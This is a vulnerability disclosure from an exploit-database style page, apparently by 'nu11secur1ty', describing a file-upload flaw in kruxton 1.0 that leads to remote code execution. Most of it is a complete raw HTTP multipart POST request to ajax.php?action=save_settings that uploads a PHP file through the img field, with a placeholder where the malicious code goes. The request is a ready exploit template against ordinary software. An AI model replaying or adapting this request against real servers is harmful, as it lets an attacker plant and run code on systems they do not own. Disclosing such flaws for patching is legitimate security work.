Risk: High
Local: No
Remote: Yes

## Title: kruxton-1.0-FileUpload-RCE ## Author: nu11secur1ty ## Date: 04/15/2024 ## Vendor: ## Software: ## Reference: ## Description: The system setting with parameter IMG is vulnerable to File Upload vulnerability. The attacker can upload a very malicious PHP file into the server and then he can execute it This is a potential CRITICAL PROBLEM! STATUS: HIGH- Vulnerability [+]Payload: ```POST POST /kruxton/ajax.php?action=save_settings HTTP/1.1 Host: Cookie: bLicense67=1; sEmail=kurec%40guhai.mi.huq; PHPSESSID=lp21rf44drtnogjboa8v7lpmg1 Content-Length: 1043 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8" Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUwsdkjlNQ5exBwrq X-Requested-With: XMLHttpRequest Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.88 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Origin: Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=1, i Connection: close ------WebKitFormBoundaryUwsdkjlNQ5exBwrq Content-Disposition: form-data; name="name" Kruxton Bristo By Mayuri K ------WebKitFormBoundaryUwsdkjlNQ5exBwrq Content-Disposition: form-data; name="email" ------WebKitFormBoundaryUwsdkjlNQ5exBwrq Content-Disposition: form-data; name="contact" 9000000000 ------WebKitFormBoundaryUwsdkjlNQ5exBwrq Content-Disposition: form-data; name="about" <p>Kruxton Bristo By Mayuri K</p><p data-f-id="pbf" style="text-align: center; font-size: 14px; margin-top: 30px; opacity: 0.65; font-family: sans-serif;">Powered by <a href="" title="Froala Editor">Froala Editor</a></p> ------WebKitFormBoundaryUwsdkjlNQ5exBwrq Content-Disposition: form-data; name="img"; filename="1nsi1deyou.php" Content-Type: application/octet-stream <?php // by nu11secur1ty - 2024 //Your malicious code here ?> ------WebKitFormBoundaryUwsdkjlNQ5exBwrq-- ``` ## Reproduce: [href]( ## Proof and Exploit: [href]( ## Time spent: 00:15:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at and 0day Exploit DataBase home page: hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <>

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024,


Back to Top